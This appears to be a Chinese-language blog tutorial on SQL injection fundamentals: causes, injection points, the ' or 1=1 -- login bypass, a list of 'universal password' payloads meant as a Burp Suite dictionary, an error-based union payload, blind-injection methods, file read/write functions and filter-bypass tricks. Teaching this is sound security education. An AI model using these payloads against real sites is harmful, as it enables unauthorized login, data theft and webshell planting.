SQL注入的基本原理

01 SQL注入简介

SQL注入的原因

  1. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

可能存在SQL注入的位置

web应用在获取用户数据的地方,只要带入数据库查询,就可能存在注入

常见的地方包括:

  1. GET数据
  2. POST数据
  3. HTTP头部
  4. COOKIE数据

...

SQL注入的危害

  1. 获取管理员的账号密码
  2. 获取数据库中内容
  3. 修改或插入数据到数据库内
  4. 利用注入漏洞获得webshell

02 SQL注入原理

简单案例讲解

在常见的登录页面,通常使用如下SQL语句:
select * from admin where username='输入的用户名' and password='输入的密码'

如果用户输入的用户名为' or 1=1 -- 注意最后需要有一个空格
拼接起来的SQL语句为
select * from admin where username=' ' or 1=1 -- ' and password='输入的密码'

使用单引号提前闭合,or 1=1永远为真,--将后边的内容注释掉,即完成查询,实现了登录,我们输入的' or 1=1 -- 就可以看作为一个万能密码

SQL语句中的注释

  • (可以用%23代替)

  • --+ 或者--空格 (空格可以用%20代替)

  • /*....*/

  • /*!...*/ 此为内联注释,在mysql中可以执行注释中的语句,其他系统无法执行
    如:select * from articles where id=id

    使用内联注释注入 select *from articles where id=

    -1 /*!union*//*!select*/ 1,2,3,4

    在mysql中可以执行 union select 1,2,3,4

以下列出了一些常见的万能密码

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

可以将以上密码作为字典,使用burpsuite用枚举的方法进行测试

简单注入漏洞探测

一般网页的CMS逻辑为:CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id对应文章
可以利用Google Hacking寻找可能存在漏洞的URL

简单验证方法,如在URL中?id=1 后边添加内容:

  1. 单引号 '
  2. and 1=1
  3. and 1=2

**逻辑运算
在SQL语句中,and比or的优先级高
select 1=2 and 1=2 or 1=1
返回的结果为1 **

如果页面中mysql报错,证明存在sql注入漏洞
如果报错信息中存在自己输入的值,就是字符型注入,否则是数字型注入

根据页面显示的内容,可以分为报错注入、盲注等

SQL注入的分类

  1. 根据输入数据的分类:
    • 数字型 select * from table where id=@id
    • 字符型 select * from table where id='@id'
  2. 根据注入手法的分类:
    • 联合查询 页面有回显
      使用order by判断出表的列数
      使用select 1,2,3 观察各列的输出情况,替换成想要查询的内容
    • 报错注入 页面有报错信息
      报错信息会显示在页面中,可以执行报错注入
      可以使用group by语句报错,如:
      ?id=1 union select 1,concat(left(rand(),3),'^',(select version()),'^')a,count(*),3 from information_schema.tables group by a --+
    • 布尔盲注 页面有真假状态
      通常使用二分法对数据库名等信息进行长度、ascii码的探测
      根据页面的真假状态进行判断表达式是否正确
    • 延时盲注 页面没有真假状态
      通常使用二分法对数据库名等信息进行长度、ascii码的探测
      使用if(exp,sleep(),1)根据时间判断表达式是否正确
  3. 根据提交方式的分类:
    • GET型 可以直接在URL中修改参数进行测试
    • POST型 需要抓包进行参数修改
  4. 一些特殊的注入:宽字节注入、二次注入

sql注入常用的函数

  • select user()查看当前用户名
  • select database()查看当前数据库
  • select version()查看当前版本
  • Limit m,n 从第m行开始到第m+n行(从0开始索引)
  • order by 获取字段数
  • length() 获取长度
  • ascii() 获取ascii码
  • substring(s,m,n),substr(),mid() 截取字符串
    三个参数分别是截取的字符串,截取的起始位置(从1开始计数),截取长度
  • floor(x) 返回不大于x的最大整数
  • round() 返回参数x最接近的整数
  • rand() 返回0-1之间的随机浮点数
  • load_file() 读取文件,并返回文件内容作为一个字符串
  • select ... into outfile '绝对路径' 写入文件
  • sleep(n) 延时n秒
  • benchmark(n,e) 执行e表达式n次,通过指定较大的n,实现延时
  • if(exp,t,f) 如果exp表达式为真就返回t,为假就返回f

SQL注入绕过方式

  1. 大小写绕过,sql语句对大小写不敏感

    如:AnD、ORdeR

  2. 使用&&、||替换and和or

  3. 双写绕过
    如:ununionion

  4. 编码绕过

    利用URL编码 或 十六进制编码

  5. 内联注释绕过
    mysql中内联注释中的内容会被执行
    如:/*!select*/ * from admin 可以正常执行

  6. 注释被过滤时,要闭合后边

你可能感兴趣的:(SQL注入的基本原理)